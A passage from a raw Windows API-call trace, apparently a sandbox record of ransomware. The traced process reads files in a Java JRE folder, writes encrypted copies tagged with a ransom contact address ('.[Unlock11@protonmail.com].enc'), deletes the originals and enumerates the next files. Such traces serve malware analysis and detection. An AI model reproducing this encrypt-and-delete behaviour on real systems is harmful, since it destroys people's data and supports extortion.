HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0125.283] GetLastError () returned 0x0 [0125.283] GetLastError () returned 0x0 [0125.283] GetLastError () returned 0x0 [0125.283] GetCurrentThreadId () returned 0x9b0 [0125.283] GetLastError () returned 0x0 [0125.283] GetCurrentThreadId () returned 0x9b0 [0125.283] GetLastError () returned 0x0 [0125.283] GetLastError () returned 0x0 [0125.283] GetLastError () returned 0x0 [0125.283] GetLastError () returned 0x0 [0125.283] GetCurrentThreadId () returned 0x9b0 [0125.283] GetLastError () returned 0x0 [0125.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aaa8 | out: hHeap=0x2ad0000) returned 1 [0125.284] GetLastError () returned 0x0 [0125.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0125.284] GetLastError () returned 0x0 [0125.284] GetLastError () returned 0x0 [0125.284] GetLastError () returned 0x0 [0125.284] GetCurrentThreadId () returned 0x9b0 [0125.284] GetLastError () returned 0x0 [0125.284] GetLastError () returned 0x0 [0125.284] GetLastError () returned 0x0 [0125.285] GetLastError () returned 0x0 [0125.285] GetLastError () returned 0x0 [0125.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0125.285] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x30240)) returned 1 [0125.285] GetLastError () returned 0x0 [0125.285] GetCurrentThreadId () returned 0x9b0 [0125.285] GetLastError () returned 0x0 [0125.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a768 | out: hHeap=0x2ad0000) returned 1 [0125.285] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b5fc | out: pbBuffer=0x366b5fc) returned 1 [0125.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0125.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0125.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0125.286] GetCurrentThreadId () returned 0x9b0 [0125.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5eb0 [0125.286] GetLastError () returned 0x0 [0125.286] GetLastError () returned 0x0 [0125.286] GetLastError () returned 0x0 [0125.286] GetLastError () returned 0x0 [0125.286] GetCurrentThreadId () returned 0x9b0 [0125.286] GetLastError () returned 0x0 [0125.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5eb0 | out: hHeap=0x2ad0000) returned 1 [0125.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ff0 [0125.287] GetCurrentThreadId () returned 0x9b0 [0125.287] GetLastError () returned 0x0 [0125.287] GetLastError () returned 0x0 [0125.287] GetLastError () returned 0x0 [0125.287] GetLastError () returned 0x0 [0125.287] GetCurrentThreadId () returned 0x9b0 [0125.287] GetLastError () returned 0x0 [0125.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ff0 | out: hHeap=0x2ad0000) returned 1 [0125.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265338 [0125.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a48a8 | out: hHeap=0x2ad0000) returned 1 [0125.288] GetLastError () returned 0x0 [0125.288] GetLastError () returned 0x0 [0125.288] GetLastError () returned 0x0 [0125.288] GetLastError () returned 0x0 [0125.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0125.288] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265298 [0125.288] GetLastError () returned 0x0 [0125.288] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0125.288] GetFileType (hFile=0x39c) returned 0x1 [0125.289] GetLastError () returned 0x0 [0125.289] GetCurrentThreadId () returned 0x9b0 [0125.289] GetLastError () returned 0x0 [0125.289] GetFileType (hFile=0x39c) returned 0x1 [0125.289] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.289] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.289] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.289] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.289] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.289] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.289] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.290] GetLastError () returned 0x0 [0125.290] GetCurrentThreadId () returned 0x9b0 [0125.290] GetLastError () returned 0x0 [0125.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265298 | out: hHeap=0x2ad0000) returned 1 [0125.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0125.290] GetLastError () returned 0x0 [0125.290] GetLastError () returned 0x0 [0125.290] GetLastError () returned 0x0 [0125.290] GetLastError () returned 0x0 [0125.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.290] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32653b8 [0125.291] GetLastError () returned 0x0 [0125.291] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0125.291] GetFileType (hFile=0x3ac) returned 0x1 [0125.291] GetLastError () returned 0x0 [0125.291] GetCurrentThreadId () returned 0x9b0 [0125.291] GetLastError () returned 0x0 [0125.291] GetFileType (hFile=0x3ac) returned 0x1 [0125.291] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.292] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.292] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.292] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.292] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.292] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.292] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.292] GetLastError () returned 0x0 [0125.292] GetCurrentThreadId () returned 0x9b0 [0125.292] GetLastError () returned 0x0 [0125.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0125.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2978 | out: hHeap=0x2ad0000) returned 1 [0125.292] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0125.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.293] GetLastError () returned 0x0 [0125.293] GetLastError () returned 0x0 [0125.293] GetCurrentThreadId () returned 0x9b0 [0125.293] GetLastError () returned 0x0 [0125.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.293] GetLastError () returned 0x0 [0125.293] GetLastError () returned 0x0 [0125.293] GetCurrentThreadId () returned 0x9b0 [0125.293] GetLastError () returned 0x0 [0125.293] GetLastError () returned 0x0 [0125.295] GetLastError () returned 0x0 [0125.295] GetCurrentThreadId () returned 0x9b0 [0125.296] GetLastError () returned 0x0 [0125.296] GetCurrentThreadId () returned 0x9b0 [0125.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265318 [0125.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265338 | out: hHeap=0x2ad0000) returned 1 [0125.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0125.296] GetLastError () returned 0x0 [0125.296] GetLastError () returned 0x0 [0125.296] GetLastError () returned 0x0 [0125.297] GetLastError () returned 0x0 [0125.297] GetCurrentThreadId () returned 0x9b0 [0125.297] GetLastError () returned 0x0 [0125.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.297] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0125.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0125.297] GetLastError () returned 0x0 [0125.299] GetLastError () returned 0x0 [0125.299] GetCurrentThreadId () returned 0x9b0 [0125.299] GetLastError () returned 0x0 [0125.299] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.299] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0125.299] GetLastError () returned 0x0 [0125.300] GetLastError () returned 0x0 [0125.300] GetCurrentThreadId () returned 0x9b0 [0125.300] GetLastError () returned 0x0 [0125.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.300] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265368 [0125.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265318 | out: hHeap=0x2ad0000) returned 1 [0125.301] GetCurrentThreadId () returned 0x9b0 [0125.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0125.301] GetLastError () returned 0x0 [0125.301] GetLastError () returned 0x0 [0125.301] GetLastError () returned 0x0 [0125.301] GetLastError () returned 0x0 [0125.301] GetCurrentThreadId () returned 0x9b0 [0125.301] GetLastError () returned 0x0 [0125.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0125.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.302] GetLastError () returned 0x0 [0125.303] GetLastError () returned 0x0 [0125.303] GetCurrentThreadId () returned 0x9b0 [0125.303] GetLastError () returned 0x0 [0125.303] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.303] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0125.303] GetLastError () returned 0x0 [0125.304] GetLastError () returned 0x0 [0125.304] GetCurrentThreadId () returned 0x9b0 [0125.304] GetLastError () returned 0x0 [0125.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.304] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652d8 [0125.305] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0125.305] GetCurrentThreadId () returned 0x9b0 [0125.305] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0125.305] GetLastError () returned 0x0 [0125.305] GetLastError () returned 0x0 [0125.305] GetLastError () returned 0x0 [0125.305] GetLastError () returned 0x0 [0125.305] GetCurrentThreadId () returned 0x9b0 [0125.306] GetLastError () returned 0x0 [0125.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0125.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0125.306] GetLastError () returned 0x0 [0125.307] GetLastError () returned 0x0 [0125.307] GetCurrentThreadId () returned 0x9b0 [0125.307] GetLastError () returned 0x0 [0125.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0125.307] GetLastError () returned 0x0 [0125.308] GetLastError () returned 0x0 [0125.308] GetCurrentThreadId () returned 0x9b0 [0125.308] GetLastError () returned 0x0 [0125.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265278 [0125.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652d8 | out: hHeap=0x2ad0000) returned 1 [0125.308] GetCurrentThreadId () returned 0x9b0 [0125.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x258) returned 0x3730b58 [0125.308] GetLastError () returned 0x0 [0125.309] GetLastError () returned 0x0 [0125.309] GetLastError () returned 0x0 [0125.309] GetLastError () returned 0x0 [0125.309] GetCurrentThreadId () returned 0x9b0 [0125.309] GetLastError () returned 0x0 [0125.309] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3730b58 | out: hHeap=0x2ad0000) returned 1 [0125.309] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0125.309] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0125.309] GetLastError () returned 0x0 [0125.309] GetLastError () returned 0x0 [0125.309] GetCurrentThreadId () returned 0x9b0 [0125.310] GetLastError () returned 0x0 [0125.310] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f3a78 | out: hHeap=0x2ad0000) returned 1 [0125.310] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0125.310] GetLastError () returned 0x0 [0125.310] GetLastError () returned 0x0 [0125.310] GetCurrentThreadId () returned 0x9b0 [0125.310] GetLastError () returned 0x0 [0125.310] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.310] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.310] GetLastError () returned 0x0 [0125.311] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0125.311] CloseHandle (hObject=0x3ac) returned 1 [0125.311] GetLastError () returned 0x0 [0125.311] GetCurrentThreadId () returned 0x9b0 [0125.311] GetLastError () returned 0x0 [0125.311] GetLastError () returned 0x0 [0125.311] CloseHandle (hObject=0x39c) returned 1 [0125.311] GetLastError () returned 0x0 [0125.312] GetCurrentThreadId () returned 0x9b0 [0125.312] GetLastError () returned 0x0 [0125.312] GetLastError () returned 0x0 [0125.312] GetLastError () returned 0x0 [0125.312] GetLastError () returned 0x0 [0125.312] GetLastError () returned 0x0 [0125.312] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe")) returned 1 [0125.314] GetLastError () returned 0x0 [0125.314] GetCurrentThreadId () returned 0x9b0 [0125.314] GetLastError () returned 0x0 [0125.314] GetCurrentThreadId () returned 0x9b0 [0125.314] GetLastError () returned 0x0 [0125.315] GetLastError () returned 0x0 [0125.315] GetLastError () returned 0x0 [0125.315] GetLastError () returned 0x0 [0125.315] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll", lpFilePart=0x9bada4*="verify.dll") returned 0x31 [0125.315] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0125.315] GetCurrentThreadId () returned 0x9b0 [0125.315] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0125.315] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0125.315] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0125.315] GetLastError () returned 0x0 [0125.315] GetLastError () returned 0x0 [0125.316] GetLastError () returned 0x0 [0125.316] GetLastError () returned 0x0 [0125.316] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll", lpFilePart=0x9bada4*="w2k_lsa_auth.dll") returned 0x37 [0125.316] GetCurrentThreadId () returned 0x9b0 [0125.316] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0125.316] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0125.316] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0125.316] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0125.316] GetCurrentThreadId () returned 0x9b0 [0125.316] GetLastError () returned 0x0 [0125.316] GetLastError () returned 0x0 [0125.317] GetLastError () returned 0x0 [0125.317] GetLastError () returned 0x0 [0125.317] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll", lpFilePart=0x9bada4*="WindowsAccessBridge-64.dll") returned 0x41 [0125.317] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0125.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0125.317] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0125.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0125.317] GetCurrentThreadId () returned 0x9b0 [0125.317] GetLastError () returned 0x0 [0125.317] GetLastError () returned 0x0 [0125.317] GetLastError () returned 0x0 [0125.318] GetLastError () returned 0x0 [0125.318] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll", lpFilePart=0x9bada4*="wsdetect.dll") returned 0x33 [0125.318] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0125.318] GetCurrentThreadId () returned 0x9b0 [0125.318] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0125.318] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0125.318] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0125.318] GetLastError () returned 0x0 [0125.318] GetLastError () returned 0x0 [0125.318] GetLastError () returned 0x0 [0125.318] GetLastError () returned 0x0 [0125.319] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll", lpFilePart=0x9bada4*="zip.dll") returned 0x2e [0125.319] GetCurrentThreadId () returned 0x9b0 [0125.319] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0125.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0125.319] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0125.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0125.319] GetCurrentThreadId () returned 0x9b0 [0125.319] GetLastError () returned 0x0 [0125.319] GetLastError () returned 0x0 [0125.319] GetLastError () returned 0x0 [0125.319] GetLastError () returned 0x0 [0125.320] FindFirstFileA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f78d0 [0125.320] GetLastError () returned 0x0 [0125.320] GetCurrentThreadId () returned 0x9b0 [0125.320] GetLastError () returned 0x0 [0125.320] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0125.320] GetLastError () returned 0x0 [0125.320] GetCurrentThreadId () returned 0x9b0 [0125.321] GetLastError () returned 0x0 [0125.321] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfa840, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="deployJava1.dll", cAlternateFileName="DEPLOY~1.DLL")) returned 1 [0125.321] GetLastError () returned 0x0 [0125.321] GetCurrentThreadId () returned 0x9b0 [0125.321] GetLastError () returned 0x0 [0125.321] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11a640, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 1 [0125.321] GetLastError () returned 0x0 [0125.321] GetCurrentThreadId () returned 0x9b0 [0125.321] GetLastError () returned 0x0 [0125.321] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11a640, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 0 [0125.321] GetLastError () returned 0x12 [0125.321] GetCurrentThreadId () returned 0x9b0 [0125.321] GetLastError () returned 0x12 [0125.322] GetLastError () returned 0x12 [0125.322] FindClose (in: hFindFile=0x10f78d0 | out: hFindFile=0x10f78d0) returned 1 [0125.322] GetLastError () returned 0x12 [0125.322] GetLastError () returned 0x12 [0125.322] GetLastError () returned 0x12 [0125.322] GetLastError () returned 0x12 [0125.322] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.322] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 0x20 [0125.322] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887338 | out: hHeap=0x2ad0000) returned 1 [0125.323] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0125.323] GetCurrentThreadId () returned 0x9b0 [0125.323] GetLastError () returned 0x12 [0125.323] GetLastError () returned 0x12 [0125.323] GetLastError () returned 0x12 [0125.323] GetLastError () returned 0x12 [0125.323] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0125.323] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program 